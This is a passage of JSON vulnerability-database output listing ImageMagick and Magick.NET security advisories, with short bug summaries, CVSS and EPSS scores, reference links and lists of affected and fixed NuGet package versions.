Out-of-bounds Read and DoS\nThe PCD coder’s DecodeImage loop allows a crafted PCD file to trigger a 1‑byte heap out-of-bounds read when decoding an image (Denial of service) and potential disclosure of adjacent heap byte.", "references": [ { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/436e5d2589e3c0adc10d9aa189e81d5d088d8207", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/436e5d2589e3c0adc10d9aa189e81d5d088d8207" }, { "reference_url": "https://github.com/advisories/GHSA-wgxp-q8xq-wpp9", "reference_id": "GHSA-wgxp-q8xq-wpp9", "reference_type": "", "scores": [ { "value": "LOW", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-wgxp-q8xq-wpp9" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wgxp-q8xq-wpp9", "reference_id": "GHSA-wgxp-q8xq-wpp9", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wgxp-q8xq-wpp9" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "GHSA-wgxp-q8xq-wpp9" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-v8sf-9pty-aqh4" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50787?format=api", "vulnerability_id": "VCID-vk9r-ve4j-w7g2", "summary": "ImageMagick is vulnerable to heap buffer over-write on 32-bit systems in SFW decoder\nAn overflow on 32-bit systems can cause a crash in the SFW decoder when processing extremely large images.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-31853.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-31853.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-31853", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00018", "scoring_system": "epss", "scoring_elements": "0.04756", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-31853" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31853", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31853" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2446690", "reference_id": "2446690", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2446690" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31853", "reference_id": "CVE-2026-31853", "reference_type": "", "scores": [ { "value": "5.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31853" }, { "reference_url": "https://github.com/advisories/GHSA-56jp-jfqg-f8f4", "reference_id": "GHSA-56jp-jfqg-f8f4", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-56jp-jfqg-f8f4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-56jp-jfqg-f8f4", "reference_id": "GHSA-56jp-jfqg-f8f4", "reference_type": "", "scores": [ { "value": "5.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-11T17:41:49Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-56jp-jfqg-f8f4" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74575?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.4", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.4" } ], "aliases": [ "CVE-2026-31853", "GHSA-56jp-jfqg-f8f4" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-vk9r-ve4j-w7g2" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/62835?format=api", "vulnerability_id": "VCID-vt3p-fn5k-7qba", "summary": "ImageMagick: Magick.NET: ImageMagick and Magick.NET: Denial of Service via malicious MSL file processing", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-40312.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-40312.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-40312", "reference_id": "", "reference_type": "", "scores": [ { "value": "5e-05", "scoring_system": "epss", "scoring_elements": "0.00231", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-40312" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T19:06:40Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/2a06c7be3bba3326caf8b7a8d1fa2e0d4b88998d", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T19:06:40Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/2a06c7be3bba3326caf8b7a8d1fa2e0d4b88998d" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T19:06:40Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-5xg3-585r-9jh5", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T19:06:40Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-5xg3-585r-9jh5" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40312", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40312" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458044", "reference_id": "2458044", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458044" }, { "reference_url": "https://github.com/advisories/GHSA-5xg3-585r-9jh5", "reference_id": "GHSA-5xg3-585r-9jh5", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-5xg3-585r-9jh5" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/109850?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.12.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.12.0" } ], "aliases": [ "CVE-2026-40312", "GHSA-5xg3-585r-9jh5" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-vt3p-fn5k-7qba" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/49775?format=api", "vulnerability_id": "VCID-wh9f-rvt4-6fb9", "summary": "ImageMagick has a Memory Leak in LoadOpenCLDeviceBenchmark() when parsing malformed XML\nA memory leak vulnerability exists in the `LoadOpenCLDeviceBenchmark()` function in `MagickCore/opencl.c`. When parsing a malformed OpenCL device profile XML file that contains `<device` elements without proper `/>` closing tags, the function fails to release allocated memory for string members (`platform_name`, `vendor_name`, `name`, `version`), leading to memory leaks that could result in resource exhaustion.\n\n**Affected Version**: ImageMagick 7.1.2-12 and possibly earlier versions\n\n---", "references": [ { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.2", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.2" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/advisories/GHSA-qp59-x883-77qv", "reference_id": "GHSA-qp59-x883-77qv", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-qp59-x883-77qv" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qp59-x883-77qv", "reference_id": "GHSA-qp59-x883-77qv", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qp59-x883-77qv" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/73505?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.2", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-11v2-qgx3-47hz" }, { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-1hrc-y5vr-efgj" }, { "vulnerability": "VCID-1j2k-6rbb-tfhy" }, { "vulnerability": "VCID-1p4e-f2bs-eycu" }, { "vulnerability": "VCID-1y2r-nh91-u7ha" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-3gm2-ehp7-d7em" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4fqh-nbke-bufv" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-4q34-28cp-j3fn" }, { "vulnerability": "VCID-58jw-s2v7-ukcw" }, { "vulnerability": "VCID-5e5g-55d6-3yev" }, { "vulnerability": "VCID-5mtv-p43c-fqc5" }, { "vulnerability": "VCID-5xqc-2jt1-dfh1" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-7rkq-y5rp-wyfm" }, { "vulnerability": "VCID-836n-xdhx-zye3" }, { "vulnerability": "VCID-88yk-kthd-5qgr" }, { "vulnerability": "VCID-8sq5-r6ur-3be6" }, { "vulnerability": "VCID-8zwb-29vf-gkag" }, { "vulnerability": "VCID-92t2-5jrm-cyej" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-a58f-bqx9-yfhk" }, { "vulnerability": "VCID-acea-fhhx-xydj" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-bcdj-1szf-u3c8" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cpn3-kr6q-2ugv" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-dw4p-7umw-tqhd" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-g38v-cdjz-a7cd" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-jtta-svbt-wfcv" }, { "vulnerability": "VCID-kcs8-8s5x-w7er" }, { "vulnerability": "VCID-kpcy-a3v3-ubhs" }, { "vulnerability": "VCID-kyeb-ndqs-vyhp" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-majy-bytw-9bew" }, { "vulnerability": "VCID-mjy1-gkm8-2ugw" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-ndur-uewc-aucm" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-rabe-pnz7-mqbj" }, { "vulnerability": "VCID-rp71-pwxm-quhd" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-s9vc-rtmc-vygy" }, { "vulnerability": "VCID-sh29-s49w-6qdj" }, { "vulnerability": "VCID-sjg9-srcu-8bck" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-taap-mm6q-xuef" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-u59k-v6pm-qud3" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-v8sf-9pty-aqh4" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-ye74-15xt-ukhk" }, { "vulnerability": "VCID-yxmc-uvt6-ebgw" }, { "vulnerability": "VCID-z52g-6wk3-3ufj" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.2" } ], "aliases": [ "GHSA-qp59-x883-77qv" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-wh9f-rvt4-6fb9" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50913?format=api", "vulnerability_id": "VCID-x1pn-e5ze-tqd2", "summary": "ImageMagick has stack write buffer overflow in MNG encoder\nA stack buffer overflow vulnerability exists in the MNG encoder. There is a bounds checks missing that could corrupting the stack with attacker-controlled data.\n\n```\n==2265506==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffec4971310 at pc 0x55e671b8a072 bp 0x7ffec4970f70 sp 0x7ffec4970f68\nWRITE of size 1 at 0x7ffec4971310 thread T0\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28690.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.1", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28690.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28690", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00017", "scoring_system": "epss", "scoring_elements": "0.04304", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28690" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28690", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28690" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.9", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.9", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445887", "reference_id": "2445887", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445887" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28690", "reference_id": "CVE-2026-28690", "reference_type": "", "scores": [ { "value": "6.9", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28690" }, { "reference_url": "https://github.com/advisories/GHSA-7h7q-j33q-hvpf", "reference_id": "GHSA-7h7q-j33q-hvpf", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-7h7q-j33q-hvpf" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7h7q-j33q-hvpf", "reference_id": "GHSA-7h7q-j33q-hvpf", "reference_type": "", "scores": [ { "value": "6.9", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T15:58:08Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7h7q-j33q-hvpf" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74575?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.4", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": 